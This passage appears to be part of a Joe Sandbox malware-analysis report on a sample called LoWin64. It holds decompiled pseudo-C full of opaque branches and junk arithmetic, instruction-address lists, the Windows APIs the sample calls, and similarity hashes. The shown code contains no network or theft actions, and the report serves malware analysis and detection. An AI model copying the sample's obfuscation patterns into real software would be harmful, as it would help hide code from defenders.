				asm("comisd xmm0, xmm6");
				if (0x3a - 0x43 > 0) goto 0xb1caf92d;
				 *0xb1decf60 = r12d;
				goto 0xb1caf955;
				E00007FF67FF6B1D3ACF4(_t450);
				_t451 = _t450 & 0x8000007f;
				if (0x3a >= 0) goto 0xb1caf93d;
				_t453 = _t451 - _t542 + _t542;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x3a;
				GetTopWindow(??);
				bpl =  !bpl;
				asm("adc eax, [eax]");
				E00007FF67FF6B1D3ACF4(_t453);
				if (0x3a >= 0) goto 0xb1caf97d;
				_t456 = (_t453 & 0x8000007f) - _t542 + _t542;
				if (0x3a - 0x66 > 0) goto 0xb1caf987;
				if (0x2f - 0x30 < 0) goto 0xb1caf962;
				r15d = 0x42;
				 *0xb1decf60 = 0x2f;
				_t170 = E00007FF67FF6B1D3ACF4(_t456);
				if (0x2f - 0x30 >= 0) goto 0xb1caf9ab;
				_t460 = ((_t456 & 0x8000007f) - _t542 | 0xffffff80) + _t542;
				if (_t170 != r14d) goto 0xb1caf9b5;
				if (0x2f + _t542 - 0x48 < 0) goto 0xb1caf990;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t460);
				_t463 = (_t460 - _t542 | 0xffffff80) + _t542;
				if (0x3a - 0x2d > 0) goto 0xb1cafa1f;
				E00007FF67FF6B1D3ACF4(_t463);
				if (0x3a - 0x2d >= 0) goto 0xb1caf9e6;
				_t467 = ((_t463 & 0x8000007f) - _t542 | 0xffffff80) + _t542;
				if (0x3a == 0xb) goto 0xb1cafa1f;
				 *0xb1decf60 = _t542;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = _t542;
				 *0xb1decf60 = _t542;
				E00007FF67FF6B1D3ACF4(_t467);
				if (0x3a - 0xb >= 0) goto 0xb1cafa14;
				_t471 = ((_t467 & 0x8000007f) - _t542 | 0xffffff80) + _t542;
				goto 0xb1cafa7d;
				E00007FF67FF6B1D3ACF4(_t471);
				if (0x3a - 0x2d >= 0) goto 0xb1cafa2f;
				_t475 = ((_t471 & 0x8000007f) - _t542 | 0xffffff80) + _t542;
				if (0x3a == 0x1e) goto 0xb1cafa64;
				E00007FF67FF6B1D3ACF4(_t475);
				if (0x3a - 0x1e >= 0) goto 0xb1cafa44;
				if (0x3a - 0x30 < 0) goto 0xb1cafa64;
				E00007FF67FF6B1D3ACF4(((_t475 & 0x8000007f) - _t542 | 0xffffff80) + _t542);
				if (0x3a - 0x30 >= 0) goto 0xb1cafa59;
				goto 0xb1cafa7d;
				E00007FF67FF6B1D3ACF4(((((_t475 & 0x8000007f) - _t542 | 0xffffff80) + _t542 & 0x8000007f) - _t542 | 0xffffff80) + _t542);
				if (0x3a - 0x1e >= 0) goto 0xb1cafa74;
				 *0xb1decf60 = 0;
				asm("adc eax, [eax]");
				_t489 = 0x6 + _t542;
				if (0x6 - 0x11 < 0) goto 0xb1cafa88;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebx;
				if (r13d - 0x7b < 0) goto 0xb1cafa83;
				asm("adc eax, [eax]");
				if (0x3e + _t542 - 0x41 < 0) goto 0xb1cafaaa;
				E00007FF67FF6B1D3ACF4(_t489);
				r13d = 0x8000007f;
				asm("push es");
				_t492 = (_t489 - _t542 | 0xffffff80) + _t542;
				if (0x6 != 0x3c) goto 0xb1cafb01;
				AnyPopup();
				r15d = r15d + __ebx;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t492);
				if (0x6 - 0x3c >= 0) goto 0xb1cafaf6;
				_t495 = (_t492 - _t542 | 0xffffff80) + _t542;
				if (0x6 == 0x75) goto 0xb1cafb01;
				_t324 = r15d - 0x4a;
				if (_t324 < 0) goto 0xb1cafad6;
				E00007FF67FF6B1D3ACF4(_t495);
				if (_t324 >= 0) goto 0xb1cafb11;
				_t498 = (_t495 - _t542 | 0xffffff80) + _t542;
				 *0xb1decf60 = 0;
				GetCommandLineW();
				E00007FF67FF6B1DA4020();
				asm("movsd xmm6, [0x10ec2c]");
				GetDesktopWindow();
				 *0xb1decf60 = _t542;
				E00007FF67FF6B1D3ACF4(_t498);
				if (0x6 - 0x3c >= 0) goto 0xb1cafb50;
				_t501 = (_t498 - _t542 | 0xffffff80) + _t542;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x6;
				 *0xb1decf60 = 0x41;
				_t326 = 0x41 + _t542 - 0x4c;
				if (_t326 < 0) goto 0xb1cafb34;
				IsIconic(??);
				IsZoomed(??);
				E00007FF67FF6B1D3ACF4(_t501);
				if (_t326 >= 0) goto 0xb1cafb95;
				_t504 = (_t501 - _t542 | 0xffffff80) + _t542;
				if (0x6 - 0x6c <= 0) goto 0xb1cafc80;
				E00007FF67FF6B1D3ACF4(_t504);
				if (0x6 - 0x6c >= 0) goto 0xb1cafbae;
				_t507 = (_t504 - _t542 | 0xffffff80) + _t542;
				if (0x6 != 0x15) goto 0xb1cafbdd;
				E00007FF67FF6B1D3ACF4(_t507);
				if (0x6 - 0x15 >= 0) goto 0xb1cafbc3;
				_t510 = (_t507 - _t542 | 0xffffff80) + _t542;
				if (0x6 != 0x5d) goto 0xb1cafbdd;
				E00007FF67FF6B1D3ACF4(_t510);
				if (0x6 - 0x5d >= 0) goto 0xb1cafbd8;
				_t513 = (_t510 - _t542 | 0xffffff80) + _t542;
				goto 0xb1cafc47;
				E00007FF67FF6B1D3ACF4(_t513);
				if (0x6 - 0x15 >= 0) goto 0xb1cafbed;
				_t516 = (_t513 - _t542 | 0xffffff80) + _t542;
				if (0x6 != 0x63) goto 0xb1cafc55;
				_t202 = E00007FF67FF6B1D3ACF4(_t516);
				asm("rcl dword [ebx], cl");
				goto 0xb1cafbb7;
				 *0x6 =  *0x6 | _t202 + bpl;
				if (0x6 - 0x63 >= 0) goto 0xb1cafc14;
				_t519 = (_t516 - _t542 | 0xffffff80) + _t542;
				if (0x6 - 0x43 >= 0) goto 0xb1cafc1e;
				if (0x38 - 0x44 < 0) goto 0xb1cafbfc;
				 *0xb1decf60 = _t542;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebx;
				_t334 = r14d - 0x6f;
				if (_t334 < 0) goto 0xb1cafbf2;
				E00007FF67FF6B1D3ACF4(_t519);
				if (_t334 >= 0) goto 0xb1cafc44;
				_t522 = (_t519 - _t542 | 0xffffff80) + _t542;
				 *0xb1decf60 = 0;
				goto 0xb1cafc5c;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t522);
				if (0x6 - 0x63 >= 0) goto 0xb1cafc6c;
				_t525 = (_t522 - _t542 | 0xffffff80) + _t542;
				 *0xb1decf60 = 0;
				goto 0xb1cafd19;
				_t337 = E00007FF67FF6B1D3ACF4(_t525) & r13d;
				if (_t337 >= 0) goto 0xb1cafc90;
				_t528 = (_t525 - _t542 | 0xffffff80) + _t542;
				asm("movsd xmm0, [0x10edd0]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t337 != 0) goto 0xb1cafca8;
				if (_t337 == 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4(_t528);
				if (_t337 >= 0) goto 0xb1cafcb8;
				_t531 = (_t528 - _t542 | 0xffffff80) + _t542;
				if (0x6 - _t542 > 0) goto 0xb1cafcc4;
				 *0xb1decf60 = _t542;
				goto 0xb1cafd13;
				if ((E00007FF67FF6B1D3ACF4(_t531) & r13d) >= 0) goto 0xb1cafcd4;
				if (0x6 - 0x5e < 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4((_t531 - _t542 | 0xffffff80) + _t542);
				if (0x6 - 0x5e >= 0) goto 0xb1cafce9;
				if (0x6 - 0x67 >= 0) goto 0xb1cafd13;
				 *0xb1decf60 = _t542;
				E00007FF67FF6B1D3ACF4(((_t531 - _t542 | 0xffffff80) + _t542 - _t542 | 0xffffff80) + _t542);
				if (0x6 - 0x67 >= 0) goto 0xb1cafd04;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = _t542;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = 0x33;
				AnyPopup();
				r8d = r8d | 0xffffffff;
				0xb1ca6ecc(); // executed
				if (0x6 == 0) goto 0xb1cafd51;
				r8d = 0;
				_t220 = E00007FF67FF6B1CB5030(r12d & 0xffffff00 | 0x00000006 - 0x00000067 < 0x00000000, _t263, r8d, (((_t531 - _t542 | 0xffffff80) + _t542 - _t542 | 0xffffff80) + _t542 - _t542 | 0xffffff80) + _t542, _t542, __rsi, __rsi, _t583);
				goto 0xb1cafd54;
				0xb1cb1e80(); // executed
				asm("movaps xmm6, [esp+0x30]");
				asm("movaps xmm7, [esp+0x20]");
				return _t220;
			}

0x7ff6b1caf318
0x7ff6b1caf323
0x7ff6b1caf332
0x7ff6b1caf338
0x7ff6b1caf33f
0x7ff6b1caf341
0x7ff6b1caf349
0x7ff6b1caf34e
0x7ff6b1caf350
0x7ff6b1caf358
0x7ff6b1caf35e
0x7ff6b1caf368
0x7ff6b1caf36f
0x7ff6b1caf371
0x7ff6b1caf375
0x7ff6b1caf379
0x7ff6b1caf37d
0x7ff6b1caf37f
0x7ff6b1caf383
0x7ff6b1caf38d
0x7ff6b1caf393
0x7ff6b1caf3ab
0x7ff6b1caf3ad
0x7ff6b1caf3af
0x7ff6b1caf3b5
0x7ff6b1caf3bb
0x7ff6b1caf3bd
0x7ff6b1caf3c0
0x7ff6b1caf3c2
0x7ff6b1caf3c9
0x7ff6b1caf3cb
0x7ff6b1caf3d1
0x7ff6b1caf3d7
0x7ff6b1caf3dc
0x7ff6b1caf3e2
0x7ff6b1caf3e9
0x7ff6b1caf3f0
0x7ff6b1caf3fb
0x7ff6b1caf401
0x7ff6b1caf409
0x7ff6b1caf40f
0x7ff6b1caf416
0x7ff6b1caf41f
0x7ff6b1caf426
0x7ff6b1caf42a
0x7ff6b1caf435
0x7ff6b1caf43b
0x7ff6b1caf441
0x7ff6b1caf448
0x7ff6b1caf44f
0x7ff6b1caf456
0x7ff6b1caf458
0x7ff6b1caf467
0x7ff6b1caf46b
0x7ff6b1caf46d
0x7ff6b1caf473
0x7ff6b1caf478
0x7ff6b1caf47a
0x7ff6b1caf480
0x7ff6b1caf483
0x7ff6b1caf48b
0x7ff6b1caf492
0x7ff6b1caf497
0x7ff6b1caf499
0x7ff6b1caf4a1
0x7ff6b1caf4a8
0x7ff6b1caf4b3
0x7ff6b1caf4b9
0x7ff6b1caf4bc
0x7ff6b1caf4c3
0x7ff6b1caf4c7
0x7ff6b1caf4c9
0x7ff6b1caf4ce
0x7ff6b1caf4d7
0x7ff6b1caf4de
0x7ff6b1caf4e3
0x7ff6b1caf4e5
0x7ff6b1caf4ed
0x7ff6b1caf4f4
0x7ff6b1caf4ff
0x7ff6b1caf505
0x7ff6b1caf50d
0x7ff6b1caf514
0x7ff6b1caf519
0x7ff6b1caf51b
0x7ff6b1caf523
0x7ff6b1caf52a
0x7ff6b1caf52f
0x7ff6b1caf531
0x7ff6b1caf539
0x7ff6b1caf540
0x7ff6b1caf54b
0x7ff6b1caf551
0x7ff6b1caf553
0x7ff6b1caf559
0x7ff6b1caf55f
0x7ff6b1caf567
0x7ff6b1caf56e
0x7ff6b1caf573
0x7ff6b1caf575
0x7ff6b1caf57d
0x7ff6b1caf584
0x7ff6b1caf586
0x7ff6b1caf58e
0x7ff6b1caf592
0x7ff6b1caf596
0x7ff6b1caf59a
0x7ff6b1caf59c
0x7ff6b1caf59e
0x7ff6b1caf5a6
0x7ff6b1caf5ad
0x7ff6b1caf5b8
0x7ff6b1caf5ba
0x7ff6b1caf5c2
0x7ff6b1caf5c9
0x7ff6b1caf5ce
0x7ff6b1caf5d0
0x7ff6b1caf5d8
0x7ff6b1caf5ea
0x7ff6b1caf5fb
0x7ff6b1caf5fc
0x7ff6b1caf5fe
0x7ff6b1caf601
0x7ff6b1caf603
0x7ff6b1caf609
0x7ff6b1caf60e
0x7ff6b1caf610
0x7ff6b1caf618
0x7ff6b1caf61f
0x7ff6b1caf621
0x7ff6b1caf625
0x7ff6b1caf629
0x7ff6b1caf631
0x7ff6b1caf633
0x7ff6b1caf63b
0x7ff6b1caf642
0x7ff6b1caf647
0x7ff6b1caf649
0x7ff6b1caf651
0x7ff6b1caf658
0x7ff6b1caf65d
0x7ff6b1caf65f
0x7ff6b1caf667
0x7ff6b1caf66e
0x7ff6b1caf679
0x7ff6b1caf67b
0x7ff6b1caf683
0x7ff6b1caf68a
0x7ff6b1caf695
0x7ff6b1caf69b
0x7ff6b1caf6a1
0x7ff6b1caf6a9
0x7ff6b1caf6ac
0x7ff6b1caf6b2
0x7ff6b1caf6c1
0x7ff6b1caf6c4
0x7ff6b1caf6c5
0x7ff6b1caf6cb
0x7ff6b1caf6d3
0x7ff6b1caf6da
0x7ff6b1caf6df
0x7ff6b1caf6e4
0x7ff6b1caf6e6
0x7ff6b1caf6ee
0x7ff6b1caf6f6
0x7ff6b1caf6fc
0x7ff6b1caf704
0x7ff6b1caf70b
0x7ff6b1caf710
0x7ff6b1caf712
0x7ff6b1caf71a
0x7ff6b1caf721
0x7ff6b1caf72c
0x7ff6b1caf732
0x7ff6b1caf73a
0x7ff6b1caf741
0x7ff6b1caf743
0x7ff6b1caf74c
0x7ff6b1caf752
0x7ff6b1caf765
0x7ff6b1caf76a
0x7ff6b1caf770
0x7ff6b1caf777
0x7ff6b1caf783
0x7ff6b1caf792
0x7ff6b1caf794
0x7ff6b1caf796
0x7ff6b1caf79c
0x7ff6b1caf7a1
0x7ff6b1caf7a3
0x7ff6b1caf7a9
0x7ff6b1caf7ab
0x7ff6b1caf7b1
0x7ff6b1caf7b8
0x7ff6b1caf7ca
0x7ff6b1caf7d0
0x7ff6b1caf7db
0x7ff6b1caf7dd
0x7ff6b1caf7fb
0x7ff6b1caf806
0x7ff6b1caf809
0x7ff6b1caf80b
0x7ff6b1caf80f
0x7ff6b1caf821
0x7ff6b1caf830
0x7ff6b1caf832
0x7ff6b1caf837
0x7ff6b1caf839
0x7ff6b1caf840
0x7ff6b1caf847
0x7ff6b1caf84c
0x7ff6b1caf84e
0x7ff6b1caf855
0x7ff6b1caf85c
0x7ff6b1caf868
0x7ff6b1caf86a
0x7ff6b1caf870
0x7ff6b1caf880
0x7ff6b1caf882
0x7ff6b1caf887
0x7ff6b1caf889
0x7ff6b1caf890
0x7ff6b1caf897
0x7ff6b1caf899
0x7ff6b1caf8a1
0x7ff6b1caf8a5
0x7ff6b1caf8a9
0x7ff6b1caf8ad
0x7ff6b1caf8af
0x7ff6b1caf8b6
0x7ff6b1caf8bd
0x7ff6b1caf8bf
0x7ff6b1caf8c6
0x7ff6b1caf8ca
0x7ff6b1caf8d1
0x7ff6b1caf8d7
0x7ff6b1caf8d9
0x7ff6b1caf8df
0x7ff6b1caf8e5
0x7ff6b1caf8ed
0x7ff6b1caf8f3
0x7ff6b1caf8f9
0x7ff6b1caf8fe
0x7ff6b1caf905
0x7ff6b1caf90c
0x7ff6b1caf90e
0x7ff6b1caf916
0x7ff6b1caf91a
0x7ff6b1caf91e
0x7ff6b1caf922
0x7ff6b1caf924
0x7ff6b1caf92b
0x7ff6b1caf92d
0x7ff6b1caf932
0x7ff6b1caf934
0x7ff6b1caf93b
0x7ff6b1caf93d
0x7ff6b1caf944
0x7ff6b1caf948
0x7ff6b1caf94f
0x7ff6b1caf957
0x7ff6b1caf966
0x7ff6b1caf968
0x7ff6b1caf96a
0x7ff6b1caf974
0x7ff6b1caf97b
0x7ff6b1caf980
0x7ff6b1caf985
0x7ff6b1caf987
0x7ff6b1caf992
0x7ff6b1caf998
0x7ff6b1caf9a2
0x7ff6b1caf9a9
0x7ff6b1caf9ae
0x7ff6b1caf9b3
0x7ff6b1caf9b5
0x7ff6b1caf9bc
0x7ff6b1caf9cf
0x7ff6b1caf9d4
0x7ff6b1caf9d6
0x7ff6b1caf9dd
0x7ff6b1caf9e4
0x7ff6b1caf9e9
0x7ff6b1caf9eb
0x7ff6b1caf9f1
0x7ff6b1caf9f8
0x7ff6b1caf9fe
0x7ff6b1cafa04
0x7ff6b1cafa0b
0x7ff6b1cafa12
0x7ff6b1cafa1d
0x7ff6b1cafa1f
0x7ff6b1cafa26
0x7ff6b1cafa2d
0x7ff6b1cafa32
0x7ff6b1cafa34
0x7ff6b1cafa3b
0x7ff6b1cafa47
0x7ff6b1cafa49
0x7ff6b1cafa50
0x7ff6b1cafa62
0x7ff6b1cafa64
0x7ff6b1cafa6b
0x7ff6b1cafa7d
0x7ff6b1cafa8c
0x7ff6b1cafa8e
0x7ff6b1cafa93
0x7ff6b1cafa95
0x7ff6b1cafa9c
0x7ff6b1cafaa3
0x7ff6b1cafaae
0x7ff6b1cafab4
0x7ff6b1cafab6
0x7ff6b1cafabb
0x7ff6b1cafaca
0x7ff6b1cafacf
0x7ff6b1cafad4
0x7ff6b1cafad6
0x7ff6b1cafadc
0x7ff6b1cafadf
0x7ff6b1cafae6
0x7ff6b1cafaee
0x7ff6b1cafaf4
0x7ff6b1cafaf9
0x7ff6b1cafafb
0x7ff6b1cafaff
0x7ff6b1cafb01
0x7ff6b1cafb09
0x7ff6b1cafb0f
0x7ff6b1cafb1a
0x7ff6b1cafb20
0x7ff6b1cafb26
0x7ff6b1cafb2c
0x7ff6b1cafb34
0x7ff6b1cafb3a
0x7ff6b1cafb40
0x7ff6b1cafb48
0x7ff6b1cafb4e
0x7ff6b1cafb50
0x7ff6b1cafb57
0x7ff6b1cafb5b
0x7ff6b1cafb64
0x7ff6b1cafb6a
0x7ff6b1cafb70
0x7ff6b1cafb73
0x7ff6b1cafb77
0x7ff6b1cafb7f
0x7ff6b1cafb85
0x7ff6b1cafb8d
0x7ff6b1cafb93
0x7ff6b1cafb98
0x7ff6b1cafb9e
0x7ff6b1cafba6
0x7ff6b1cafbac
0x7ff6b1cafbb1
0x7ff6b1cafbb3
0x7ff6b1cafbbb
0x7ff6b1cafbc1
0x7ff6b1cafbc6
0x7ff6b1cafbc8
0x7ff6b1cafbd0
0x7ff6b1cafbd6
0x7ff6b1cafbdb
0x7ff6b1cafbdd
0x7ff6b1cafbe5
0x7ff6b1cafbeb
0x7ff6b1cafbf0
0x7ff6b1cafbf2
0x7ff6b1cafc01
0x7ff6b1cafc05
0x7ff6b1cafc07
0x7ff6b1cafc0c
0x7ff6b1cafc12
0x7ff6b1cafc17
0x7ff6b1cafc1c
0x7ff6b1cafc1e
0x7ff6b1cafc24
0x7ff6b1cafc2b
0x7ff6b1cafc2e
0x7ff6b1cafc32
0x7ff6b1cafc34
0x7ff6b1cafc3c
0x7ff6b1cafc42
0x7ff6b1cafc4d
0x7ff6b1cafc53
0x7ff6b1cafc55
0x7ff6b1cafc5c
0x7ff6b1cafc64
0x7ff6b1cafc6a
0x7ff6b1cafc75
0x7ff6b1cafc7b
0x7ff6b1cafc85
0x7ff6b1cafc88
0x7ff6b1cafc8e
0x7ff6b1cafc90
0x7ff6b1cafc98
0x7ff6b1cafc9c
0x7ff6b1cafca0
0x7ff6b1cafca4
0x7ff6b1cafca6
0x7ff6b1cafca8
0x7ff6b1cafcb0
0x7ff6b1cafcb6
0x7ff6b1cafcba
0x7ff6b1cafcbc
0x7ff6b1cafcc2
0x7ff6b1cafccc
0x7ff6b1cafcd7
0x7ff6b1cafcd9
0x7ff6b1cafce1
0x7ff6b1cafcec
0x7ff6b1cafcee
0x7ff6b1cafcf4
0x7ff6b1cafcfc
0x7ff6b1cafd0d
0x7ff6b1cafd13
0x7ff6b1cafd19
0x7ff6b1cafd20
0x7ff6b1cafd2a
0x7ff6b1cafd30
0x7ff6b1cafd39
0x7ff6b1cafd40
0x7ff6b1cafd42
0x7ff6b1cafd4a
0x7ff6b1cafd4f
0x7ff6b1cafd57
0x7ff6b1cafd5c
0x7ff6b1cafd6b
0x7ff6b1cafd7f

APIs

GetLastActivePopup.USER32 ref: 00007FF6B1CAF38D
GetMessageExtraInfo.USER32 ref: 00007FF6B1CAF3DC
GetCurrentProcess.KERNEL32 ref: 00007FF6B1CAF401
IsIconic.USER32 ref: 00007FF6B1CAF409
GetSystemDefaultLangID.KERNEL32 ref: 00007FF6B1CAF43B
GetLargePageMinimum.KERNEL32 ref: 00007FF6B1CAF47A

Strings

R, xrefs: 00007FF6B1CAFD4A
$!, xrefs: 00007FF6B1CAFD57

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ActiveCurrentDefaultExtraIconicInfoLangLargeLastMessageMinimumPagePopupProcessSystem
String ID: $!$R
API String ID: 1327399704-3637212060
Opcode ID: 35c5bb3a6bf9d7cc4c6514eaf3c74d089491df3acdb9872f4deb42263f80d44d
Instruction ID: 9ee126ada337ab9cae5955af06173c7e6fbd4150dc1dae0f11c5f3290bb518fb
Opcode Fuzzy Hash: 35c5bb3a6bf9d7cc4c6514eaf3c74d089491df3acdb9872f4deb42263f80d44d
Instruction Fuzzy Hash: 213249A7E3890776F7165F3CAD8A2BD56A06F2424DF680738C719D129ACF3CF2468204

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CAF356 Relevance: 40.8, APIs: 21, Strings: 2, Instructions: 598
windowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00007FF67FF6B1CAF356(void* __ebx, signed int __edi, void* __eflags, void* __rsi, void* _a128) {
				signed char _t61;
				signed int _t94;
				signed int _t127;
				signed int _t138;
				void* _t164;
				void* _t196;
				void* _t214;
				void* _t255;
				void* _t258;
				void* _t260;
				void* _t266;
				void* _t281;
				void* _t315;
				void* _t317;
				void* _t325;
				signed int _t328;
				signed long long _t336;
				void* _t340;
				signed int _t344;
				signed long long _t345;
				signed long long _t349;
				void* _t355;
				void* _t358;
				void* _t361;
				void* _t363;
				void* _t365;
				void* _t367;
				void* _t369;
				void* _t371;
				void* _t373;
				void* _t375;
				void* _t377;
				void* _t379;
				void* _t383;
				void* _t385;
				void* _t387;
				void* _t389;
				void* _t391;
				void* _t393;
				void* _t395;
				void* _t397;
				void* _t399;
				void* _t401;
				signed long long _t403;
				signed long long _t408;
				signed long long _t418;
				signed long long _t421;
				signed long long _t426;
				signed long long _t429;
				signed long long _t432;
				signed long long _t435;
				signed long long _t436;
				signed long long _t438;
				signed long long _t441;
				void* _t445;
				signed long long _t448;
				signed long long _t452;
				signed long long _t456;
				signed long long _t460;
				void* _t474;
				void* _t477;
				void* _t480;
				void* _t483;
				void* _t486;
				void* _t489;
				void* _t492;
				void* _t495;
				void* _t498;
				void* _t501;
				void* _t504;
				void* _t507;
				void* _t510;
				void* _t513;
				void* _t516;
				signed int _t527;
				void* _t542;
				void* _t567;

				_t258 = __eflags;
				 *0xb1decf60 = _t542 + _t527;
				E00007FF67FF6B1D3ACF4(_t336);
				if (_t258 >= 0) goto 0xb1caf371;
				_t340 = ((_t336 & 0x8000007f) - _t527 | 0xffffff80) + _t527;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t258 != 0) goto 0xb1caf34b;
				if (_t258 != 0) goto 0xb1caf34b;
				 *0xb1decf60 = 0x65;
				GetLastActivePopup(??);
				E00007FF67FF6B1D3ACF4(_t340);
				if ((_t340 - _t527 | 0xffffff80) + _t527 - 0x67 < 0) goto 0xb1caf3cb;
				_t344 = _t527;
				 *0xb1decf60 = _t527;
				 *0xb1decf60 = _t344;
				_t345 = _t344 + _t527;
				_t260 = _t345 - 0xd;
				if (_t260 < 0) goto 0xb1caf3af;
				 *0xb1decf60 = r12d;
				goto 0xb1caf3d7;
				E00007FF67FF6B1DA4030();
				 *0xb1decf60 = _t527;
				E00007FF67FF6B1D3ACF4(_t345);
				GetMessageExtraInfo();
				E00007FF67FF6B1D3ACF4(_t345);
				if (_t260 >= 0) goto 0xb1caf3f2;
				_t349 = ((_t345 & 0x8000007f) - _t527 | 0xffffff80) + _t527;
				 *0xb1decf60 = 0;
				GetCurrentProcess();
				IsIconic(??);
				E00007FF67FF6B1D3ACF4(_t349);
				if (_t349 - 0x6a >= 0) goto 0xb1caf41f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x10f37e]");
				 *0xb1decf60 = ((_t349 & 0x8000007f) - _t527 | 0xffffff80) + _t527;
				_t61 = GetSystemDefaultLangID();
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebx;
				if (r14d - 0x73 < 0) goto 0xb1caf448;
				 *0xb1decf60 = _t527;
				asm("adc eax, [eax]");
				 *0x34 =  *0x34 + (_t61 &  *0x34);
				 *0xb1decf60 = 0x34;
				_t355 = 0x34 + _t527;
				if (0x34 - 0x43 < 0) goto 0xb1caf46d;
				E00007FF67FF6B1DA4020();
				r14d = __edi;
				E00007FF67FF6B1D3ACF4(_t355);
				if (0x34 - 0x43 >= 0) goto 0xb1caf494;
				_t358 = (_t355 - _t527 | 0xffffff80) + _t527;
				if (0x34 != 0x46) goto 0xb1caf4b9;
				E00007FF67FF6B1D3ACF4(_t358);
				if (0x34 - 0x46 >= 0) goto 0xb1caf4aa;
				_t361 = (_t358 - _t527 | 0xffffff80) + _t527;
				 *0xb1decf60 = 0;
				r15d = r15d + __ebx;
				 *0xb1decf60 = r15d;
				_t266 = r15d - 0x2a;
				if (_t266 < 0) goto 0xb1caf483;
				E00007FF67FF6B1D3ACF4(_t361);
				r15d = 0xffffff80;
				if (_t266 >= 0) goto 0xb1caf4e0;
				_t363 = _t361 - _t527 + _t527;
				if (0x34 == 0x61) goto 0xb1caf505;
				E00007FF67FF6B1D3ACF4(_t363);
				if (0x34 - 0x61 >= 0) goto 0xb1caf4f6;
				_t365 = _t363 - _t527 + _t527;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t365);
				if (0x34 - 0x61 >= 0) goto 0xb1caf516;
				_t367 = _t365 - _t527 + _t527;
				if (0x34 - 0x76 <= 0) goto 0xb1caf553;
				E00007FF67FF6B1D3ACF4(_t367);
				if (0x34 - 0x76 >= 0) goto 0xb1caf52c;
				_t369 = _t367 - _t527 + _t527;
				if (0x34 - 0x38 <= 0) goto 0xb1caf553;
				E00007FF67FF6B1D3ACF4(_t369);
				if (0x34 - 0x38 >= 0) goto 0xb1caf542;
				_t371 = _t369 - _t527 + _t527;
				 *0xb1decf60 = 0;
				goto 0xb1caf559;
				 *0xb1decf60 = _t527;
				 *0xb1decf60 = _t527;
				E00007FF67FF6B1D3ACF4(_t371);
				if (0x34 - 0x76 >= 0) goto 0xb1caf570;
				_t373 = _t371 - _t527 + _t527;
				if (0x34 == 0x23) goto 0xb1caf5ba;
				E00007FF67FF6B1D3ACF4(_t373);
				if (0x34 - 0x23 >= 0) goto 0xb1caf586;
				_t375 = _t373 - _t527 + _t527;
				asm("movsd xmm0, [0x10f2c2]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (0x34 != 0x23) goto 0xb1caf59e;
				if (0x34 == 0x23) goto 0xb1caf5ba;
				E00007FF67FF6B1D3ACF4(_t375);
				if (0x34 - 0x23 >= 0) goto 0xb1caf5af;
				_t377 = _t375 - _t527 + _t527;
				goto 0xb1caf5ea;
				E00007FF67FF6B1D3ACF4(_t377);
				if (0x34 - 0x23 >= 0) goto 0xb1caf5cb;
				_t379 = _t377 - _t527 + _t527;
				if (0x34 - 0x3b <= 0) goto 0xb1caf5f0;
				_t94 = E00007FF67FF6B1D3ACF4(_t379);
				if (0x34 - 0x3b >= 0) goto 0xb1caf5e1;
				 *0xb1decf60 = 0;
				asm("cmc");
				sil = 8;
				 *0x00000023 =  *((intOrPtr*)(0x23)) + (_t94 & r14d | r15d) + bpl;
				asm("invalid");
				asm("pop es");
				_t383 = _t379 - _t527 + _t527 - _t527 + _t527;
				if (0x34 - 7 >= 0) goto 0xb1caf67b;
				E00007FF67FF6B1D3ACF4(_t383);
				if (0x34 - 7 >= 0) goto 0xb1caf621;
				_t385 = _t383 - _t527 + _t527;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x10f117]");
				if (0x34 - 7 > 0) goto 0xb1caf67b;
				E00007FF67FF6B1D3ACF4(_t385);
				if (0x34 - 7 >= 0) goto 0xb1caf644;
				_t387 = _t385 - _t527 + _t527;
